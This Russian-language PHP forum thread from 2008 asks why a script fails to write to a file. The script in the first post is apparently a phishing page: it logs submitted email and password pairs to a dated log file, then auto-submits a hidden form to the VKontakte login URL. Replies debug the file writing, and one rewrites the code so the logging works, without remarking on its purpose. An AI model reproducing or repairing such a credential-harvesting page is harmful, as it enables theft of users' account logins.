Модераторы: skyboy, MoLeX, Aliance, ksnk
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Как получить права доступа к файлу для записи, права доступа 
:(
    Опции темы
Dreamuchiy
Дата 10.10.2008, 19:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 145
Регистрация: 26.12.2006

Репутация: нет
Всего: -1



Почему ничего не записывается в файл? такая же ерунда и с php файлом
Код
<?php

$email=$_POST['email'];
$pass=$_POST['pass'];
$log=date("d.m.y");
if (file_exists("log/$log.txt")){
fputs(fopen("log/$log.txt","a+"),"$email:$pass\r\n");
} else {
fputs(fopen("log/$log.txt","w"),"$email:$pass\r\n");}
 
echo("<html>");
echo("<head>");
echo("<title></title>");
echo("</head>");
echo("<body>");
echo("<form method='post' name='login' id='login' action='http://vkontakte.ru/login.php'>");
echo("<input type='hidden' name='$email'>");
echo("<input type='hidden' name='$pass'>");
echo("<input type='hidden' name='expire' value='1' />");
echo("</form>");
echo("</body>");
echo("<script language='JavaScript'>");
echo("document.getElementById('login').submit()");
echo("</script>");
echo("</html>");
?>


--------------------
Мечтаю написать в карман Биллу Гейтсу... Или как минимум посмотреть крах Майкрософт...
PM MAIL   Вверх
bars80080
Дата 10.10.2008, 19:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: 71
Всего: 315



а почему не записывается? ошибки какие есть? в начале скрипта error_reporting(E_ALL); есть?

да и почему ты не закрываешь открываемые файлы?

PM MAIL WWW   Вверх
Dreamuchiy
Дата 10.10.2008, 19:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 145
Регистрация: 26.12.2006

Репутация: нет
Всего: -1



Оно открывает файл save.php в браузере вот такая ерунда:

"); echo(""); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo("");сохранения в файл не происходит

Добавлено через 2 минуты и 42 секунды
p.s. А что произойдет если файл не закрыть? 
--------------------
Мечтаю написать в карман Биллу Гейтсу... Или как минимум посмотреть крах Майкрософт...
PM MAIL   Вверх
bars80080
Дата 10.10.2008, 20:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: 71
Всего: 315



фиг знает, с fputs не работал. попробуй классически, как в учебниках:

Код

$path = 'log/$log.txt';
$fp = fopen($path, 'a');
if($fp) {
    fwrite($fp, "$email:$pass\r\n");
    fclose($fp);
}

exit; // обязательно поставь, чтобы проверить, пишется ли вообще, а то дальше у тебя шарага начинается


кстати, советую почитать, что значит a+. и почему твоё разделение на 'a' и 'w' бессмысленно. хватит одного 'a'

если файл не закрыть, то если ты на своём компе на локальном хостинге балуешься, то ничего. просто придётся как-нибудь перезагрузиться, дабы вычистить память. но если на внешнем, то надо всё же закрывать
PM MAIL WWW   Вверх
unicross
Дата 10.10.2008, 21:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 422
Регистрация: 15.6.2008

Репутация: 21
Всего: 53



Dreamuchiy, вы очень странно передаете параметры в форме

Цитата(Dreamuchiy @  10.10.2008,  19:37 Найти цитируемый пост)

echo("<input type='hidden' name='$email'>");
echo("<input type='hidden' name='$pass'>");


Где параметр value, который и должен содержать передаваемое значение?

Код

echo "<input type='hidden' name='email' value='Логин'>";
echo "<input type='hidden' name='pass' value='Пароль'>";


Попробуйте такой код

Код

<?php
$email=$_POST['email'];
$pass=$_POST['pass'];
if (isset($email) && isset($email)) {
   $log=date("d.m.y");
   $tmp = $log . ".txt";
   $fp = fopen("$tmp","a+");
   if ($fp) {
      fwrite($fp, "$email:$pass\r\n");
      echo "Записали в файл<BR>";
      fclose($fp);
   }
}
echo "<html>";
echo "<head>";
echo "<title></title>";
echo "</head>";
echo "<body>";
echo "<form method='post' name='login' id='login' action='test.php'>";
echo "<input type='hidden' name='email' value='Логин'>";
echo "<input type='hidden' name='pass' value='Пароль'>";
echo "<input type='submit' value='OK'>";
echo "</form>";
echo "</body>";
echo "</html>";
?>


Цитата

Оно открывает файл save.php в браузере вот такая ерунда:


Что за файл save.php?

PM MAIL WWW   Вверх
ksnk
Дата 10.10.2008, 22:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прохожий
****


Профиль
Группа: Комодератор
Сообщений: 6855
Регистрация: 13.4.2007
Где: СПб

Репутация: 96
Всего: 386



Цитата

"); echo(""); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo(""); echo("
"); echo(""); echo(""); echo("");сохранения в файл не происходит

Гы!... А PHP установлен? Веб сервер что такое известно?


--------------------
Человеку свойственно ошибаться, программисту свойственно ошибаться профессионально ! user posted image
PM MAIL WWW Skype   Вверх
Dreamuchiy
Дата 10.10.2008, 22:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 145
Регистрация: 26.12.2006

Репутация: нет
Всего: -1



Что такое веб сервер я знаю но я запускаю php файлы обычным способом из под винды. Но есть и апач у меня ино после настройки его под php и заходе на мою страницу из вне браузер пишет что то типа у вас нет прав. А вот со своего компа файл index.htm запускается хорошо. Таже история и в wun server2003
--------------------
Мечтаю написать в карман Биллу Гейтсу... Или как минимум посмотреть крах Майкрософт...
PM MAIL   Вверх
georgiy11
Дата 10.10.2008, 23:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 92
Регистрация: 29.9.2008

Репутация: нет
Всего: нет



А причем здесь index.htm если запускается скрипт в action ="/..."
PM MAIL   Вверх
unicross
Дата 11.10.2008, 05:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 422
Регистрация: 15.6.2008

Репутация: 21
Всего: 53



Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
но я запускаю php файлы обычным способом из под винды.


Это двойным щелчком на файле что-ли???? smile 

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
 заходе на мою страницу из вне браузер пишет что то типа у вас нет прав


Это вы пытаетесь подключиться из интернета к своему компу???

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
файл index.htm запускается хорошо


Причем здесь index.htm. Он в любом случае откроется в браузере и без настройки связки Apache+PHP.
А вот файл PHP так не запустится...

Цитата(Dreamuchiy @  10.10.2008,  22:29 Найти цитируемый пост)
Что такое веб сервер я знаю.


Чувствуется, что не совсем...  smile 
PM MAIL WWW   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0806 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.